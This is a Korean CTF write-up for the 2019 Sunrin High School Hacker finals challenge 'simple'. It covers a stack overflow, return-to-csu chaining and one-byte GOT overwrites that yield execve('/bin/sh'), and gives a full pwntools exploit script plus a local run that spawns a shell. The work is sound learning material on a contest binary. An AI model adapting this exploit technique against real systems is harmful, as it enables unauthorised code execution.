[선린 고등해커 2회 본선] simple

2019. 12. 1. 17:39Wargame & CTF/선린 고등해커 2회

선린 고등해커 2회 본선 simple

Summary

  • 64bit

  • syscall

  • 1 byte overwrite

Analysis

int __cdecl main(int argc, const char **argv, const char **envp)
{
 char buf; // [rsp+0h] [rbp-30h]

 alarm(0x3Cu);
 read(0, &buf, 0x400uLL);
 return 0;
}

이 문제만 풀었다면 상받는거라서 너무 아쉬웠다 ㅜㅜㅜㅜㅜㅜㅜㅜㅜㅜ alarm에 syscall이 들어가는것을 몰라서 못풀었다...

read로 buf에 입력을 받아서 오버플로우가 생긴다.

진짜 쓸만한 함수가 하나도 없다. alarm, read, __libc_csu_init정도?

return to csu로 rdi, rsi, rdx에 값을 넣을 수 있다.

일단 read로 __data_start에 "/bin/sh\x00"를 저장한다.

read로 1바이트 덮어쓰기를 해서 alarm을 syscall로 바꾼다.

read로 1바이트 덮어쓰기를 해서 read를 write으로 바꾼다.

write를 59만큼 시키면 eax가 59가 된다.

그리고 rdi=__data_start, rsi=0, rdx=0으로 설정하고 alarm을 call하면 쉘이 뜬다.

Exploit

from pwn import *

e = ELF("./problem")
p = process("./problem")

pr = 0x0000000000400603
ppr = 0x0000000000400601

payload = ""
payload += "A"*(0x30+0x8)

#read(0, e.symbols["__data_start"], 8);
payload += p64(e.symbols["__libc_csu_init"]+90)
payload += p64(0x0)
payload += p64(0x1)
payload += p64(e.got["read"])
payload += p64(0x8)
payload += p64(e.symbols["__data_start"])
payload += p64(0x0)

payload += p64(e.symbols["__libc_csu_init"]+64)
payload += p64(0x0)
payload += p64(0x0)
payload += p64(0x0)
payload += p64(0x0)
payload += p64(0x0)
payload += p64(0x0)
payload += p64(0x0)

#read(0, e.got["alarm"], 1);
payload += p64(e.symbols["__libc_csu_init"]+90)
payload += p64(0x0)
payload += p64(0x1)
payload += p64(e.got["read"])
payload += p64(0x1)
payload += p64(e.got["alarm"])
payload += p64(0x0)

payload += p64(e.symbols["__libc_csu_init"]+64)
payload += p64(0x0)
payload += p64(0x0)
payload += p64(0x0)
payload += p64(0x0)
payload += p64(0x0)
payload += p64(0x0)
payload += p64(0x0)

#read(0, e.got["read"], 1);
payload += p64(e.symbols["__libc_csu_init"]+90)
payload += p64(0x0)
payload += p64(0x1)
payload += p64(e.got["read"])
payload += p64(0x1)
payload += p64(e.got["read"])
payload += p64(0x0)

payload += p64(e.symbols["__libc_csu_init"]+64)
payload += p64(0x0)
payload += p64(0x0)
payload += p64(0x0)
payload += p64(0x0)
payload += p64(0x0)
payload += p64(0x0)
payload += p64(0x0)

#set eax
#read(1, e.symbols["__data_start"], 59); -> write
payload += p64(e.symbols["__libc_csu_init"]+90)
payload += p64(0x0)
payload += p64(0x1)
payload += p64(e.got["read"])
payload += p64(0x3b) # execve
payload += p64(e.symbols["__data_start"])
payload += p64(0x1)

payload += p64(e.symbols["__libc_csu_init"]+64)
payload += p64(0x0)
payload += p64(0x0)
payload += p64(0x0)
payload += p64(0x0)
payload += p64(0x0)
payload += p64(0x0)
payload += p64(0x0)

#alarm("/bin/sh\x00", 0, 0); -> syscall
payload += p64(e.symbols["__libc_csu_init"]+90)
payload += p64(0x0)
payload += p64(0x1)
payload += p64(e.got["alarm"])
payload += p64(0x0)
payload += p64(0x0)
payload += p64(e.symbols["__data_start"])

payload += p64(e.symbols["__libc_csu_init"]+64)
payload += p64(0x0)
payload += p64(0x0)
payload += p64(0x0)
payload += p64(0x0)
payload += p64(0x0)
payload += p64(0x0)
payload += p64(0x0)

p.sendline(payload)

pause()

#binsh
p.send("/bin/sh\x00")

pause()

#alarm -> syscall
p.send("\x05")

pause()

#read -> write
p.send("\xb0")

p.interactive()
cg10036@cg10036-virtual-machine:~/CTF/2019/highschoolhacker/simple$ p ex.py 
[*] '/home/cg10036/CTF/2019/highschoolhacker/simple/problem'
  Arch:     amd64-64-little
  RELRO:   Partial RELRO
  Stack:   No canary found
  NX:       NX enabled
  PIE:     No PIE (0x400000)
[+] Starting local process './problem': pid 3247
[*] Paused (press any to continue)
[*] Paused (press any to continue)
[*] Paused (press any to continue)
[*] Switching to interactive mode
/bin/sh\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00$
$ id
uid=1000(cg10036) gid=1000(cg10036) groups=1000(cg10036),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),113(lpadmin),128(sambashare),129(docker)